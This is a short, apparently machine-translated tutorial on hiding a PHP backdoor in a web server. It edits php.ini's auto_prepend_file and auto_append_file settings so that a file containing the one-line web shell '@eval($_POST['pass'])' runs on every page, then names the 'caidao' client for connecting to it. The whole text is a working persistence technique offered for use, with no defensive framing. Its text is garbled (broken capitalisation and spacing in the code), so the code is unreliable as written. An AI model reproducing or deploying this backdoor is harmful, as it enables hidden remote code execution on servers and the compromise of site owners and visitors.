Use a function in php to automatically add the header and footer to the file to hide a sentence.
Edit the php script file in a directory of the site (such as the root directory) named info. php. The content is as follows:
<? Php
Phpinfo ();
?>
Open http: // 127.0.0.1/info. php locally.
Check the configuration file used by the System
Find and edit the configuration file
The following lines:
Auto_prepend_file = test. php # automatically add the content in "test. php" to the header location of any file
Auto_append_file = fuck. php # automatically add the content in "test. php" to the footer of any file
If it is unix, modify the following two lines:
; UNIX: "/path1:/path2"
; Include_path = ".:/php/shortdes"
I am using windows
; Windows: "\ path1; \ path2"
Include_path = "E: \ PHPnow-1.5.6 \ htdocs;." # specifies that the inclusion function in php first searches for the path "E: \ PHPnow-1.5.6 \ htdocs" and then "." is the root.
Create a name in "E: \ PHPnow-1.5.6 \ htdocs" (the name is random, up and down to be consistent) as "test. php and fuck. php script file, which contains the most critical sentence:
<? Php
@ Eval ($ _ POST ['pass']); # pass is the password.
?>
Use caidao for testing as follows:
In this way, you can use "php. ini" to leave a backdoor.